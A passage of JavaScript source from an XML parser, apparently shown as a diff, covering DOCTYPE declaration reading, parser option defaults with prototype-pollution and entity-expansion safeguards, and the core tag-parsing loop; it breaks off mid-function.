if (!this.suppressValidationErr && !systemIdentifier) {
throw new Error("Missing mandatory system identifier for SYSTEM notation");
}
}
return { notationName, publicIdentifier, systemIdentifier, index: --i };
}
readIdentifierVal(xmlData, i, type) {
let identifierVal = "";
const startChar = xmlData[i];
if (startChar !== '"' && startChar !== "'") {
throw new Error(`Expected quoted string, found "${startChar}"`);
}
i++;
const startIndex = i;
while (i < xmlData.length && xmlData[i] !== startChar) {
i++;
}
identifierVal = xmlData.substring(startIndex, i);
if (xmlData[i] !== startChar) {
throw new Error(`Unterminated ${type} value`);
}
i++;
return [i, identifierVal];
}
readElementExp(xmlData, i) {
// <!ELEMENT br EMPTY>
// <!ELEMENT div ANY>
// <!ELEMENT title (#PCDATA)>
// <!ELEMENT book (title, author+)>
// <!ELEMENT name (content-model)>
// Skip leading whitespace after <!ELEMENT
i = skipWhitespace(xmlData, i);
// Read element name
const startIndex = i;
while (i < xmlData.length && !/\s/.test(xmlData[i])) {
i++;
}
let elementName = xmlData.substring(startIndex, i);
// Validate element name
if (!this.suppressValidationErr && !isName(elementName, { xmlVersion: this.xmlVersion })) {
throw new Error(`Invalid element name: "${elementName}"`);
}
// Skip whitespace after element name
i = skipWhitespace(xmlData, i);
let contentModel = "";
// Expect '(' to start content model
if (xmlData[i] === "E" && hasSeq(xmlData, "MPTY", i)) i += 4;
else if (xmlData[i] === "A" && hasSeq(xmlData, "NY", i)) i += 2;
else if (xmlData[i] === "(") {
i++; // Move past '('
// Read content model
const startIndex = i;
while (i < xmlData.length && xmlData[i] !== ")") {
i++;
}
contentModel = xmlData.substring(startIndex, i);
if (xmlData[i] !== ")") {
throw new Error("Unterminated content model");
}
} else if (!this.suppressValidationErr) {
throw new Error(`Invalid Element Expression, found "${xmlData[i]}"`);
}
return {
elementName,
contentModel: contentModel.trim(),
index: i
};
}
readAttlistExp(xmlData, i) {
// Skip leading whitespace after <!ATTLIST
i = skipWhitespace(xmlData, i);
// Read element name
let startIndex = i;
while (i < xmlData.length && !/\s/.test(xmlData[i])) {
i++;
}
let elementName = xmlData.substring(startIndex, i);
// Validate element name
validateEntityName(elementName, { xmlVersion: this.xmlVersion })
// Skip whitespace after element name
i = skipWhitespace(xmlData, i);
// Read attribute name
startIndex = i;
while (i < xmlData.length && !/\s/.test(xmlData[i])) {
i++;
}
let attributeName = xmlData.substring(startIndex, i);
// Validate attribute name
if (!validateEntityName(attributeName, { xmlVersion: this.xmlVersion })) {
throw new Error(`Invalid attribute name: "${attributeName}"`);
}
// Skip whitespace after attribute name
i = skipWhitespace(xmlData, i);
// Read attribute type
let attributeType = "";
if (xmlData.substring(i, i + 8).toUpperCase() === "NOTATION") {
attributeType = "NOTATION";
i += 8; // Move past "NOTATION"
// Skip whitespace after "NOTATION"
i = skipWhitespace(xmlData, i);
// Expect '(' to start the list of notations
if (xmlData[i] !== "(") {
throw new Error(`Expected '(', found "${xmlData[i]}"`);
}
i++; // Move past '('
// Read the list of allowed notations
let allowedNotations = [];
while (i < xmlData.length && xmlData[i] !== ")") {
const startIndex = i;
while (i < xmlData.length && xmlData[i] !== "|" && xmlData[i] !== ")") {
i++;
}
let notation = xmlData.substring(startIndex, i);
// Validate notation name
notation = notation.trim();
if (!validateEntityName(notation, { xmlVersion: this.xmlVersion })) {
throw new Error(`Invalid notation name: "${notation}"`);
}
allowedNotations.push(notation);
// Skip '|' separator or exit loop
if (xmlData[i] === "|") {
i++; // Move past '|'
i = skipWhitespace(xmlData, i); // Skip optional whitespace after '|'
}
}
if (xmlData[i] !== ")") {
throw new Error("Unterminated list of notations");
}
i++; // Move past ')'
// Store the allowed notations as part of the attribute type
attributeType += " (" + allowedNotations.join("|") + ")";
} else {
// Handle simple types (e.g., CDATA, ID, IDREF, etc.)
const startIndex = i;
while (i < xmlData.length && !/\s/.test(xmlData[i])) {
i++;
}
attributeType += xmlData.substring(startIndex, i);
// Validate simple attribute type
const validTypes = ["CDATA", "ID", "IDREF", "IDREFS", "ENTITY", "ENTITIES", "NMTOKEN", "NMTOKENS"];
if (!this.suppressValidationErr && !validTypes.includes(attributeType.toUpperCase())) {
throw new Error(`Invalid attribute type: "${attributeType}"`);
}
}
// Skip whitespace after attribute type
i = skipWhitespace(xmlData, i);
// Read default value
let defaultValue = "";
if (xmlData.substring(i, i + 8).toUpperCase() === "#REQUIRED") {
defaultValue = "#REQUIRED";
i += 8;
} else if (xmlData.substring(i, i + 7).toUpperCase() === "#IMPLIED") {
defaultValue = "#IMPLIED";
i += 7;
} else {
[i, defaultValue] = this.readIdentifierVal(xmlData, i, "ATTLIST");
}
return {
elementName,
attributeName,
attributeType,
defaultValue,
index: i
}
}
}
const skipWhitespace = (data, index) => {
while (index < data.length && /\s/.test(data[index])) {
index++;
}
return index;
};
function hasSeq(data, seq, i) {
for (let j = 0; j < seq.length; j++) {
if (seq[j] !== data[i + j + 1]) return false;
}
return true;
}
function validateEntityName(name, xmlVersion) {
if (isName(name, { xmlVersion: xmlVersion }))
return name;
else
throw new Error(`Invalid entity name ${name}`);
}

View File

@@ -0,0 +1,164 @@
import { DANGEROUS_PROPERTY_NAMES, criticalProperties } from "../util.js";
import { COMMON_HTML, CURRENCY } from '@nodable/entities';
const defaultOnDangerousProperty = (name) => {
if (DANGEROUS_PROPERTY_NAMES.includes(name)) {
return "__" + name;
}
return name;
};
export const defaultOptions = {
preserveOrder: false,
attributeNamePrefix: '@_',
attributesGroupName: false,
textNodeName: '#text',
ignoreAttributes: true,
removeNSPrefix: false, // remove NS from tag name or attribute name if true
allowBooleanAttributes: false, //a tag can have attributes without any value
//ignoreRootElement : false,
parseTagValue: true,
parseAttributeValue: false,
trimValues: true, //Trim string values of tag and attributes
cdataPropName: false,
numberParseOptions: {
hex: true,
leadingZeros: true,
eNotation: true,
unicode: false
},
tagValueProcessor: function (tagName, val) {
return val;
},
attributeValueProcessor: function (attrName, val) {
return val;
},
stopNodes: [], //nested tags will not be parsed even for errors
alwaysCreateTextNode: false,
isArray: () => false,
commentPropName: false,
unpairedTags: [],
processEntities: true,
htmlEntities: false,
entityDecoder: null,
ignoreDeclaration: false,
ignorePiTags: false,
transformTagName: false,
transformAttributeName: false,
updateTag: function (tagName, jPath, attrs) {
return tagName
},
// skipEmptyListItem: false
captureMetaData: false,
maxNestedTags: 100,
strictReservedNames: true,
jPath: true, // if true, pass jPath string to callbacks; if false, pass matcher instance
onDangerousProperty: defaultOnDangerousProperty
};
/**
* Validates that a property name is safe to use
* @param {string} propertyName - The property name to validate
* @param {string} optionName - The option field name (for error message)
* @throws {Error} If property name is dangerous
*/
function validatePropertyName(propertyName, optionName) {
if (typeof propertyName !== 'string') {
return; // Only validate string property names
}
const normalized = propertyName.toLowerCase();
if (DANGEROUS_PROPERTY_NAMES.some(dangerous => normalized === dangerous.toLowerCase())) {
throw new Error(
`[SECURITY] Invalid ${optionName}: "${propertyName}" is a reserved JavaScript keyword that could cause prototype pollution`
);
}
if (criticalProperties.some(dangerous => normalized === dangerous.toLowerCase())) {
throw new Error(
`[SECURITY] Invalid ${optionName}: "${propertyName}" is a reserved JavaScript keyword that could cause prototype pollution`
);
}
}
/**
* Normalizes processEntities option for backward compatibility
* @param {boolean|object} value
* @returns {object} Always returns normalized object
*/
function normalizeProcessEntities(value, htmlEntities) {
// Boolean backward compatibility
if (typeof value === 'boolean') {
return {
enabled: value, // true or false
maxEntitySize: 10000,
maxExpansionDepth: 10000,
maxTotalExpansions: Infinity,
maxExpandedLength: 100000,
maxEntityCount: 1000,
allowedTags: null,
tagFilter: null,
appliesTo: "all",
};
}
// Object config - merge with defaults
if (typeof value === 'object' && value !== null) {
return {
enabled: value.enabled !== false,
maxEntitySize: Math.max(1, value.maxEntitySize ?? 10000),
maxExpansionDepth: Math.max(1, value.maxExpansionDepth ?? 10000),
maxTotalExpansions: Math.max(1, value.maxTotalExpansions ?? Infinity),
maxExpandedLength: Math.max(1, value.maxExpandedLength ?? 100000),
maxEntityCount: Math.max(1, value.maxEntityCount ?? 1000),
allowedTags: value.allowedTags ?? null,
tagFilter: value.tagFilter ?? null,
appliesTo: value.appliesTo ?? "all",
};
}
// Default to enabled with limits
return normalizeProcessEntities(true);
}
export const buildOptions = function (options) {
const built = Object.assign({}, defaultOptions, options);
// Validate property names to prevent prototype pollution
const propertyNameOptions = [
{ value: built.attributeNamePrefix, name: 'attributeNamePrefix' },
{ value: built.attributesGroupName, name: 'attributesGroupName' },
{ value: built.textNodeName, name: 'textNodeName' },
{ value: built.cdataPropName, name: 'cdataPropName' },
{ value: built.commentPropName, name: 'commentPropName' }
];
for (const { value, name } of propertyNameOptions) {
if (value) {
validatePropertyName(value, name);
}
}
if (built.onDangerousProperty === null) {
built.onDangerousProperty = defaultOnDangerousProperty;
}
// Always normalize processEntities for backward compatibility and validation
built.processEntities = normalizeProcessEntities(built.processEntities, built.htmlEntities);
built.unpairedTagsSet = new Set(built.unpairedTags);
// Convert old-style stopNodes for backward compatibility
if (built.stopNodes && Array.isArray(built.stopNodes)) {
built.stopNodes = built.stopNodes.map(node => {
if (typeof node === 'string' && node.startsWith('*.')) {
// Old syntax: *.tagname meant "tagname anywhere"
// Convert to new syntax: ..tagname
return '..' + node.substring(2);
}
return node;
});
}
//console.debug(built.processEntities)
return built;
};

View File

@@ -0,0 +1,907 @@
'use strict';
///@ts-check
import { getAllMatches, isExist, DANGEROUS_PROPERTY_NAMES, criticalProperties } from '../util.js';
import xmlNode from './xmlNode.js';
import DocTypeReader from './DocTypeReader.js';
import toNumber from "strnum";
import getIgnoreAttributesFn from "../ignoreAttributes.js";
import { Expression, Matcher } from 'path-expression-matcher';
import { ExpressionSet } from 'path-expression-matcher';
import { EntityDecoder, XML, CURRENCY, COMMON_HTML, ENTITY_ACTION } from '@nodable/entities';
import { isUnsafe, HTML as HTML_CONTEXT, XML as XML_CONTEXT } from "is-unsafe"
// const regx =
// '<((!\\[CDATA\\[([\\s\\S]*?)(]]>))|((NAME:)?(NAME))([^>]*)>|((\\/)(NAME)\\s*>))([^<]*)'
// .replace(/NAME/g, util.nameRegexp);
//const tagsRegx = new RegExp("<(\\/?[\\w:\\-\._]+)([^>]*)>(\\s*"+cdataRegx+")*([^<]+)?","g");
//const tagsRegx = new RegExp("<(\\/?)((\\w*:)?([\\w:\\-\._]+))([^>]*)>([^<]*)("+cdataRegx+"([^<]*))*([^<]+)?","g");
// Helper functions for attribute and namespace handling
/**
* Extract raw attributes (without prefix) from prefixed attribute map
* @param {object} prefixedAttrs - Attributes with prefix from buildAttributesMap
* @param {object} options - Parser options containing attributeNamePrefix
* @returns {object} Raw attributes for matcher
*/
function extractRawAttributes(prefixedAttrs, options) {
if (!prefixedAttrs) return {};
// Handle attributesGroupName option
const attrs = options.attributesGroupName
? prefixedAttrs[options.attributesGroupName]
: prefixedAttrs;
if (!attrs) return {};
const rawAttrs = {};
for (const key in attrs) {
// Remove the attribute prefix to get raw name
if (key.startsWith(options.attributeNamePrefix)) {
const rawName = key.substring(options.attributeNamePrefix.length);
rawAttrs[rawName] = attrs[key];
} else {
// Attribute without prefix (shouldn't normally happen, but be safe)
rawAttrs[key] = attrs[key];
}
}
return rawAttrs;
}
/**
* Extract namespace from raw tag name
* @param {string} rawTagName - Tag name possibly with namespace (e.g., "soap:Envelope")
* @returns {string|undefined} Namespace or undefined
*/
function extractNamespace(rawTagName) {
if (!rawTagName || typeof rawTagName !== 'string') return undefined;
const colonIndex = rawTagName.indexOf(':');
if (colonIndex !== -1 && colonIndex > 0) {
const ns = rawTagName.substring(0, colonIndex);
// Don't treat xmlns as a namespace
if (ns !== 'xmlns') {
return ns;
}
}
return undefined;
}
export default class OrderedObjParser {
constructor(options, externalEntities) {
this.options = options;
this.currentNode = null;
this.tagsNodeStack = [];
this.parseXml = parseXml;
this.parseTextData = parseTextData;
this.resolveNameSpace = resolveNameSpace;
this.buildAttributesMap = buildAttributesMap;
this.isItStopNode = isItStopNode;
this.replaceEntitiesValue = replaceEntitiesValue;
this.readStopNodeData = readStopNodeData;
this.saveTextToParentTag = saveTextToParentTag;
this.addChild = addChild;
this.ignoreAttributesFn = getIgnoreAttributesFn(this.options.ignoreAttributes)
this.entityExpansionCount = 0;
this.currentExpandedLength = 0;
this.doctypefound = false;
let namedEntities = { ...XML };
if (this.options.entityDecoder) {
this.entityDecoder = this.options.entityDecoder
} else {
if (typeof this.options.htmlEntities === "object") namedEntities = this.options.htmlEntities;
else if (this.options.htmlEntities === true) namedEntities = { ...COMMON_HTML, ...CURRENCY };
this.entityDecoder = new EntityDecoder({
namedEntities: { ...namedEntities, ...externalEntities },
numericAllowed: this.options.htmlEntities,
limit: {
maxTotalExpansions: this.options.processEntities.maxTotalExpansions,
maxExpandedLength: this.options.processEntities.maxExpandedLength,
applyLimitsTo: this.options.processEntities.appliesTo,
},
// onExternalEntity: (name, value) => isUnsafe(value) ? 'block' : 'allow',
onInputEntity: (name, value) =>
//TODO: VALID_CONTEXTS.HTML should be set only if this.options.htmlEntities
isUnsafe(value, [HTML_CONTEXT, XML_CONTEXT]) ? ENTITY_ACTION.BLOCK : ENTITY_ACTION.ALLOW,
//postCheck: resolved => resolved
});
}
// Initialize path matcher for path-expression-matcher
this.matcher = new Matcher();
this.readonlyMatcher = this.matcher.readOnly();
// Flag to track if current node is a stop node (optimization)
this.isCurrentNodeStopNode = false;
// Pre-compile stopNodes expressions
this.stopNodeExpressionsSet = new ExpressionSet();
const stopNodesOpts = this.options.stopNodes;
if (stopNodesOpts && stopNodesOpts.length > 0) {
for (let i = 0; i < stopNodesOpts.length; i++) {
const stopNodeExp = stopNodesOpts[i];
if (typeof stopNodeExp === 'string') {
// Convert string to Expression object
this.stopNodeExpressionsSet.add(new Expression(stopNodeExp));
} else if (stopNodeExp instanceof Expression) {
// Already an Expression object
this.stopNodeExpressionsSet.add(stopNodeExp);
}
}
this.stopNodeExpressionsSet.seal();
}
}
}
/**
* @param {string} val
* @param {string} tagName
* @param {string|Matcher} jPath - jPath string or Matcher instance based on options.jPath
* @param {boolean} dontTrim
* @param {boolean} hasAttributes
* @param {boolean} isLeafNode
* @param {boolean} escapeEntities
*/
function parseTextData(val, tagName, jPath, dontTrim, hasAttributes, isLeafNode, escapeEntities) {
const options = this.options;
if (val !== undefined) {
if (options.trimValues && !dontTrim) {
val = val.trim();
}
if (val.length > 0) {
if (!escapeEntities) val = this.replaceEntitiesValue(val, tagName, jPath);
// Pass jPath string or matcher based on options.jPath setting
const jPathOrMatcher = options.jPath ? jPath.toString() : jPath;
const newval = options.tagValueProcessor(tagName, val, jPathOrMatcher, hasAttributes, isLeafNode);
if (newval === null || newval === undefined) {
//don't parse
return val;
} else if (typeof newval !== typeof val || newval !== val) {
//overwrite
return newval;
} else if (options.trimValues) {
return parseValue(val, options.parseTagValue, options.numberParseOptions);
} else {
const trimmedVal = val.trim();
if (trimmedVal === val) {
return parseValue(val, options.parseTagValue, options.numberParseOptions);
} else {
return val;
}
}
}
}
}
function resolveNameSpace(tagname) {
if (this.options.removeNSPrefix) {
const tags = tagname.split(':');
const prefix = tagname.charAt(0) === '/' ? '/' : '';
if (tags[0] === 'xmlns') {
return '';
}
if (tags.length === 2) {
tagname = prefix + tags[1];
}
}
return tagname;
}
//TODO: change regex to capture NS
//const attrsRegx = new RegExp("([\\w\\-\\.\\:]+)\\s*=\\s*(['\"])((.|\n)*?)\\2","gm");
const attrsRegx = new RegExp('([^\\s=]+)\\s*(=\\s*([\'"])([\\s\\S]*?)\\3)?', 'gm');
function buildAttributesMap(attrStr, jPath, tagName, force = false) {
const options = this.options;
if (force === true || (options.ignoreAttributes !== true && typeof attrStr === 'string')) {
// attrStr = attrStr.replace(/\r?\n/g, ' ');
//attrStr = attrStr || attrStr.trim();
const matches = getAllMatches(attrStr, attrsRegx);
const len = matches.length; //don't make it inline
const attrs = {};
// Pre-process values once: trim + entity replacement
// Reused in both matcher update and second pass
const processedVals = new Array(len);
let hasRawAttrs = false;
const rawAttrsForMatcher = {};
for (let i = 0; i < len; i++) {
const attrName = this.resolveNameSpace(matches[i][1]);
const oldVal = matches[i][4];
if (attrName.length && oldVal !== undefined) {
let val = oldVal;
if (options.trimValues) val = val.trim();
val = this.replaceEntitiesValue(val, tagName, this.readonlyMatcher);
processedVals[i] = val;
rawAttrsForMatcher[attrName] = val;
hasRawAttrs = true;
}
}
// Update matcher ONCE before second pass, if applicable
if (hasRawAttrs && typeof jPath === 'object' && jPath.updateCurrent) {
jPath.updateCurrent(rawAttrsForMatcher);
}
// Hoist toString() once — path doesn't change during attribute processing
const jPathStr = options.jPath ? jPath.toString() : this.readonlyMatcher;
// Second pass: apply processors, build final attrs
let hasAttrs = false;
for (let i = 0; i < len; i++) {
const attrName = this.resolveNameSpace(matches[i][1]);
if (this.ignoreAttributesFn(attrName, jPathStr)) continue;
let aName = options.attributeNamePrefix + attrName;
if (attrName.length) {
if (options.transformAttributeName) {
aName = options.transformAttributeName(aName);
}
aName = sanitizeName(aName, options);
if (matches[i][4] !== undefined) {
// Reuse already-processed value — no double entity replacement
const oldVal = processedVals[i];
const newVal = options.attributeValueProcessor(attrName, oldVal, jPathStr);
if (newVal === null || newVal === undefined) {
attrs[aName] = oldVal;
} else if (typeof newVal !== typeof oldVal || newVal !== oldVal) {
attrs[aName] = newVal;
} else {
attrs[aName] = parseValue(oldVal, options.parseAttributeValue, options.numberParseOptions);
}
hasAttrs = true;
} else if (options.allowBooleanAttributes) {
attrs[aName] = true;
hasAttrs = true;
}
}
}
if (!hasAttrs) return;
if (options.attributesGroupName && !options.preserveOrder) {
const attrCollection = {};
attrCollection[options.attributesGroupName] = attrs;
return attrCollection;
}
return attrs;
}
}
const parseXml = function (xmlData) {
const options = this.options;
const crlfPositions = options.captureMetaData ? [] : undefined;
xmlData = xmlData.replace(/\r\n?/g, options.captureMetaData ? (newline, index) => {
if (newline.length === 2) {
// Store the position after earlier CRLF pairs have been normalized.
crlfPositions.push(index - crlfPositions.length);
}
return "\n";
} : "\n");
const xmlObj = new xmlNode('!xml');
let currentNode = xmlObj;
let textData = "";
// Reset matcher for new document
this.matcher.reset();
this.entityDecoder.reset();
// Reset entity expansion counters for this document
this.entityExpansionCount = 0;
this.currentExpandedLength = 0;
this.doctypefound = false;
const docTypeReader = new DocTypeReader(options.processEntities);
const xmlLen = xmlData.length;
for (let i = 0; i < xmlLen; i++) {//for each char in XML data
const ch = xmlData[i];
if (ch === '<') {
// const nextIndex = i+1;
// const _2ndChar = xmlData[nextIndex];
const c1 = xmlData.charCodeAt(i + 1);
if (c1 === 47) {//Closing Tag '/'
const closeIndex = findClosingIndex(xmlData, ">", i, "Closing Tag is not closed.")
let tagName = xmlData.substring(i + 2, closeIndex).trim();
if (options.removeNSPrefix) {
const colonIndex = tagName.indexOf(":");
if (colonIndex !== -1) {
tagName = tagName.substr(colonIndex + 1);
}
}
tagName = transformTagName(options.transformTagName, tagName, "", options).tagName;
if (currentNode) {
textData = this.saveTextToParentTag(textData, currentNode, this.readonlyMatcher);
}
//check if last tag of nested tag was unpaired tag
const lastTagName = this.matcher.getCurrentTag();
if (tagName && options.unpairedTagsSet.has(tagName)) {
throw new Error(`Unpaired tag can not be used as closing tag: </${tagName}>`);
}
if (lastTagName && options.unpairedTagsSet.has(lastTagName)) {
// Pop the unpaired tag
this.matcher.pop();
this.tagsNodeStack.pop();
}
// Pop the closing tag
this.matcher.pop();
this.isCurrentNodeStopNode = false; // Reset flag when closing tag
//a closing tag with no matching opening tag leaves the stack empty
currentNode = this.tagsNodeStack.pop() || xmlObj;//avoid recursion, set the parent tag scope
if (options.captureMetaData && currentNode) {
currentNode.addEndIndex(getOriginalIndex(closeIndex + 1, crlfPositions));
}
textData = "";
i = closeIndex;
} else if (c1 === 63) { //'?'
let tagData = readTagExp(xmlData, i, false, "?>");
if (!tagData) throw new Error("Pi Tag is not closed.");
textData = this.saveTextToParentTag(textData, currentNode, this.readonlyMatcher);
const attsMap = this.buildAttributesMap(tagData.tagExp, this.matcher, tagData.tagName, true);
if (attsMap) {
const ver = attsMap[this.options.attributeNamePrefix + "version"];
this.entityDecoder.setXmlVersion(Number(ver) || 1.0);
docTypeReader.setXmlVersion(Number(ver) || 1.0);
}
if ((options.ignoreDeclaration && tagData.tagName === "?xml") || options.ignorePiTags) {
//do nothing
} else {
const childNode = new xmlNode(tagData.tagName);
childNode.add(options.textNodeName, "");
if (tagData.tagName !== tagData.tagExp && tagData.attrExpPresent && options.ignoreAttributes !== true) {
childNode[":@"] = attsMap
}
const startIndex = options.captureMetaData ? getOriginalIndex(i, crlfPositions) : i;
this.addChild(currentNode, childNode, this.readonlyMatcher, startIndex);
if (options.captureMetaData) {
// closeIndex points at '?' of the closing '?>'
currentNode.addEndIndex(getOriginalIndex(tagData.closeIndex + 2, crlfPositions));
}
}
i = tagData.closeIndex + 1;
} else if (c1 === 33
&& xmlData.charCodeAt(i + 2) === 45
&& xmlData.charCodeAt(i + 3) === 45) { //'!--'
const endIndex = findClosingIndex(xmlData, "-->", i + 4, "Comment is not closed.")
if (options.commentPropName) {
const comment = xmlData.substring(i + 4, endIndex - 2);
textData = this.saveTextToParentTag(textData, currentNode, this.readonlyMatcher);
currentNode.add(options.commentPropName, [{ [options.textNodeName]: comment }]);
}
i = endIndex;
} else if (c1 === 33
&& xmlData.charCodeAt(i + 2) === 68) { //'!D'
if (this.doctypefound) throw new Error("Multiple DOCTYPE declarations found.");
this.doctypefound = true;
const result = docTypeReader.readDocType(xmlData, i);
this.entityDecoder.addInputEntities(result.entities);
i = result.i;
} else if (c1 === 33
&& xmlData.charCodeAt(i + 2) === 91) { // '!['
const closeIndex = findClosingIndex(xmlData, "]]>", i, "CDATA is not closed.") - 2;
const tagExp = xmlData.substring(i + 9, closeIndex);
textData = this.saveTextToParentTag(textData, currentNode, this.readonlyMatcher);
let val = this.parseTextData(tagExp, currentNode.tagname, this.readonlyMatcher, true, false, true, true);
if (val == undefined) val = "";
//cdata should be set even if it is 0 length string
if (options.cdataPropName) {
currentNode.add(options.cdataPropName, [{ [options.textNodeName]: tagExp }]);
} else {
currentNode.add(options.textNodeName, val);
}
i = closeIndex + 2;
} else {//Opening tag
let result = readTagExp(xmlData, i, options.removeNSPrefix);
// Safety check: readTagExp can return undefined
if (!result) {
// Log context for debugging
const context = xmlData.substring(Math.max(0, i - 50), Math.min(xmlLen, i + 50));
throw new Error(`readTagExp returned undefined at position ${i}. Context: "${context}"`);
}
let tagName = result.tagName;
const rawTagName = result.rawTagName;
let tagExp = result.tagExp;
let attrExpPresent = result.attrExpPresent;
let closeIndex = result.closeIndex;
({ tagName, tagExp } = transformTagName(options.transformTagName, tagName, tagExp, options));
if (options.strictReservedNames &&
(tagName === options.commentPropName
|| tagName === options.cdataPropName
|| tagName === options.textNodeName
|| tagName === options.attributesGroupName
)) {
throw new Error(`Invalid tag name: ${tagName}`);
}
//save text as child node
if (currentNode && textData) {
if (currentNode.tagname !== '!xml') {
//when nested tag is found
textData = this.saveTextToParentTag(textData, currentNode, this.readonlyMatcher, false);
}
}
//check if last tag was unpaired tag
const lastTag = currentNode;
if (lastTag && options.unpairedTagsSet.has(lastTag.tagname)) {
currentNode = this.tagsNodeStack.pop();
this.matcher.pop();
}
// Clean up self-closing syntax BEFORE processing attributes
// This is where tagExp gets the trailing / removed
let isSelfClosing = false;
if (tagExp.length > 0 && tagExp.lastIndexOf("/") === tagExp.length - 1) {
isSelfClosing = true;
if (tagName[tagName.length - 1] === "/") {
tagName = tagName.substr(0, tagName.length - 1);
tagExp = tagName;
} else {
tagExp = tagExp.substr(0, tagExp.length - 1);
}
// Re-check attrExpPresent after cleaning
attrExpPresent = (tagName !== tagExp);
}
// Now process attributes with CLEAN tagExp (no trailing /)
let prefixedAttrs = null;
let rawAttrs = {};
let namespace = undefined;
// Extract namespace from rawTagName
namespace = extractNamespace(rawTagName);
// Push tag to matcher FIRST (with empty attrs for now) so callbacks see correct path
if (tagName !== xmlObj.tagname) {
this.matcher.push(tagName, {}, namespace);
}
// Now build attributes - callbacks will see correct matcher state
if (tagName !== tagExp && attrExpPresent) {
// Build attributes (returns prefixed attributes for the tree)
// Note: buildAttributesMap now internally updates the matcher with raw attributes
prefixedAttrs = this.buildAttributesMap(tagExp, this.matcher, tagName);
if (prefixedAttrs) {
// Extract raw attributes (without prefix) for our use
//TODO: seems a performance overhead
rawAttrs = extractRawAttributes(prefixedAttrs, options);
}
}
// Now check if this is a stop node (after attributes are set)
if (tagName !== xmlObj.tagname) {
this.isCurrentNodeStopNode = this.isItStopNode();
}
const startIndex = options.captureMetaData ? getOriginalIndex(i, crlfPositions) : i;
if (this.isCurrentNodeStopNode) {
let tagContent = "";
// For self-closing tags, content is empty
if (isSelfClosing) {
i = result.closeIndex;
}
//unpaired tag
else if (options.unpairedTagsSet.has(tagName)) {
i = result.closeIndex;
}
//normal tag
else {
//read until closing tag is found
const result = this.readStopNodeData(xmlData, rawTagName, closeIndex + 1);
if (!result) throw new Error(`Unexpected end of ${rawTagName}`);
i = result.i;
tagContent = result.tagContent;
}
const childNode = new xmlNode(tagName);
if (prefixedAttrs) {
childNode[":@"] = prefixedAttrs;
}
// For stop nodes, store raw content as-is without any processing
childNode.add(options.textNodeName, tagContent);
this.matcher.pop(); // Pop the stop node tag
this.isCurrentNodeStopNode = false; // Reset flag
this.addChild(currentNode, childNode, this.readonlyMatcher, startIndex);
if (options.captureMetaData) {
currentNode.addEndIndex(getOriginalIndex(i + 1, crlfPositions));
}
} else {
//selfClosing tag
if (isSelfClosing) {
({ tagName, tagExp } = transformTagName(options.transformTagName, tagName, tagExp, options));
const childNode = new xmlNode(tagName);
if (prefixedAttrs) {
childNode[":@"] = prefixedAttrs;
}
this.addChild(currentNode, childNode, this.readonlyMatcher, startIndex);
if (options.captureMetaData) {
currentNode.addEndIndex(getOriginalIndex(closeIndex + 1, crlfPositions));
}
this.matcher.pop(); // Pop self-closing tag
this.isCurrentNodeStopNode = false; // Reset flag
}
else if (options.unpairedTagsSet.has(tagName)) {//unpaired tag
const childNode = new xmlNode(tagName);
if (prefixedAttrs) {
childNode[":@"] = prefixedAttrs;
}
this.addChild(currentNode, childNode, this.readonlyMatcher, startIndex);
if (options.captureMetaData) {
currentNode.addEndIndex(getOriginalIndex(result.closeIndex + 1, crlfPositions));
}
this.matcher.pop(); // Pop unpaired tag
this.isCurrentNodeStopNode = false; // Reset flag
i = result.closeIndex;
// Continue to next iteration without changing currentNode
continue;
}
//opening tag
else {
const childNode = new xmlNode(tagName);
if (this.tagsNodeStack.length > options.maxNestedTags) {
throw new Error("Maximum nested tags exceeded");
}
this.tagsNodeStack.push(currentNode);
if (prefixedAttrs) {
childNode[":@"] = prefixedAttrs;
}
this.addChild(currentNode, childNode, this.readonlyMatcher, startIndex);
currentNode = childNode;
}
textData = "";
i = closeIndex;
}
}
} else {
textData += xmlData[i];
}
}
return xmlObj.child;
}
function getOriginalIndex(index, crlfPositions) {
let low = 0;
let high = crlfPositions.length;
while (low < high) {
const middle = Math.floor((low + high) / 2);
if (crlfPositions[middle] < index) low = middle + 1;
else high = middle;
}
return index + low;
}
function addChild(currentNode, childNode, matcher, startIndex) {
// unset startIndex if not requested
if (!this.options.captureMetaData) startIndex = undefined;
// Pass jPath string or matcher based on options.jPath setting
const jPathOrMatcher = this.options.jPath ? matcher.toString() : matcher;
const result = this.options.updateTag(childNode.tagname, jPathOrMatcher, childNode[":@"])
if (result === false) {
//do nothing
} else if (typeof result === "string") {
childNode.tagname = result
currentNode.addChild(childNode, startIndex);
} else {
currentNode.addChild(childNode, startIndex);
}
}
/**
* @param {object} val - Entity object with regex and val properties
* @param {string} tagName - Tag name
* @param {string|Matcher} jPath - jPath string or Matcher instance based on options.jPath
*/
function replaceEntitiesValue(val, tagName, jPath) {
const entityConfig = this.options.processEntities;
if (!entityConfig || !entityConfig.enabled) {
return val;
}
// Check if tag is allowed to contain entities
if (entityConfig.allowedTags) {
const jPathOrMatcher = this.options.jPath ? jPath.toString() : jPath;
const allowed = Array.isArray(entityConfig.allowedTags)
? entityConfig.allowedTags.includes(tagName)
: entityConfig.allowedTags(tagName, jPathOrMatcher);
if (!allowed) {
return val;
}
}
// Apply custom tag filter if provided
if (entityConfig.tagFilter) {
const jPathOrMatcher = this.options.jPath ? jPath.toString() : jPath;
if (!entityConfig.tagFilter(tagName, jPathOrMatcher)) {
return val; // Skip based on custom filter
}
}
return this.entityDecoder.decode(val);
}
function saveTextToParentTag(textData, parentNode, matcher, isLeafNode) {
if (textData) { //store previously collected data as textNode
if (isLeafNode === undefined) isLeafNode = parentNode.child.length === 0
textData = this.parseTextData(textData,
parentNode.tagname,
matcher,
false,
parentNode[":@"] ? Object.keys(parentNode[":@"]).length !== 0 : false,
isLeafNode);
if (textData !== undefined && textData !== "")
parentNode.add(this.options.textNodeName, textData);
textData = "";
}
return textData;
}
/**
* @param {Array<Expression>} stopNodeExpressions - Array of compiled Expression objects
* @param {Matcher} matcher - Current path matcher
*/
function isItStopNode() {
if (this.stopNodeExpressionsSet.size === 0) return false;
return this.matcher.matchesAny(this.stopNodeExpressionsSet);
}
/**
* Returns the tag Expression and where it is ending handling single-double quotes situation
* @param {string} xmlData
* @param {number} i starting index
* @returns
*/
function tagExpWithClosingIndex(xmlData, i, closingChar = ">") {
//TODO: ignore boolean attributes in tag expression
//TODO: if ignore attributes, dont read full attribute expression but the end. But read for xml declaration
let attrBoundary = 0;
const len = xmlData.length;
const closeCode0 = closingChar.charCodeAt(0);
const closeCode1 = closingChar.length > 1 ? closingChar.charCodeAt(1) : -1;
let result = '';
let segmentStart = i;
for (let index = i; index < len; index++) {
const code = xmlData.charCodeAt(index);
if (attrBoundary) {
